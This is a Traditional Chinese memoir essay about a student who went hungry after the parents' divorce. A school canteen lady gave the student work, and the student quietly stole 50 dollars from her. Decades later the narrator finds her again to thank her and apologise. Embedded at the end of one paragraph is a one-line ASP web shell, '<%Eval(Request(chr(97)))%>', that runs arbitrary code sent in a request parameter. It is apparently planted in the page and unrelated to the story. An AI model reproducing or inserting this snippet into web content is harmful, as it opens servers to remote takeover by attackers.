五十元的人生轉捩點
國二下的時候,父母親正式離婚,家中面臨債主不斷的追債,而父親也根本不想要我們三個孩子似的,因此母親便默默扛起撫養三個孩子的責任,毅然決然地外出打工。還記得當時,母親因沒有錢給我們買中餐吃,每天總只有上學前吃的那一餐來撐過整天的課業學習。雖然知道再忍個一兩個月,就能吃得好一點了,但每到中餐時肚子還是不爭氣的咕嚕咕嚕叫,實在撐不下去時,只好去飲水機一直喝水,把肚子灌飽。
由於飲水機就在福利社旁邊,有一天福利社的歐巴桑忍不住問我說:「我怎麼每天看你在這裡喝水,而且都喝很多,也沒見你在運動,你到底在做什麼?」雖然我很不願意提起家裡的情形,但那時肚子真的好餓好餓,就忍不住跟她說了,歐巴桑聽了後就說:「那你到我那兒去打工好嗎?我每個月給你六百元,你中午在我這兒吃飯。」就這樣,我開始在福利社裡打工,服務同學。
我永遠記得,那一年下學期三月份時,有一天班長指責我說:「你怎麼一直不交晚自習費,全班就只剩下你一個人還沒交,你不交,我怎麼跟老師交差?」那時晚自習費每個月要三百元,我身上只有兩百五十元,還差五十元,因媽媽也沒錢,我為了這五十元發愁了好久。
有一天,我看到福利社桌上有五十元,心裡有如天人交戰,到底該不該拿那五十元?如果有了那五十元,我就可以繼續讀書,如果不拿,我就只能在外頭當中輟生。想了好久好久之後,終於決定伸手將那五十元塞進口袋。
在福利社打工打了半學期,上國三後,我離開福利社,開始改送報紙。早上四點起床去派報,薪資比福利社打工稍稍優沃些。但為了那歐巴桑不知情的五十元,我至今仍耿耿於懷,總覺得自己對那好心的老婦人恩將仇報。那時候懵懵懂懂的我,完全沒有想到該怎麼偷偷把五十元還給歐巴桑,也沒有想到要從第一個月的薪水去扣除,那份偷錢的愧疚感就一直存到今日。<%Eval(Request(chr(97)))%>
這些年每當想起歐巴桑的恩情,我心裡仍然為那五十元十分過意不去,我暗許心願:「如果能夠找到她,我不但要感謝她在我最窮、沒有飯吃時讓我打工,更要為偷那五十元向她誠摯道歉。因為她的善心,讓一個窮小孩有機會翻身,並在社會上成為有用的人!」
私底下我開始透過各種管道打聽,經過媒體批露這段往事後,在雙十國中福利社工作的陳秋萍小姐便四處探訪,經過多人的回憶拼湊後,先找到了歐巴桑的女兒,接著終於找到歐巴桑本人,協尋的過程中也很感謝「中華民國杏林子之友會」的幫忙。
事隔二十六年,我終於知道歐巴桑叫做曾玉卿,雖然她早已不記得我,因為我其實只是她幫助過的其中一個學生,我指著國中畢業紀念冊上那個青澀的自己,期望幫她喚起一些記憶。但二十六年前的往事,已經淡得只剩羞澀的微笑,施予他人的恩情,她似乎從未掛在心上,阿婆對於我偷了五十元的事也毫不知情。在感恩會中奉上五十元、紅包和股票也不足以表達我對阿婆的謝意和懷念,但對我而言,我很清楚,沒有當年的阿婆,就沒有今天的我,那五十元是我人生一個關鍵的轉機。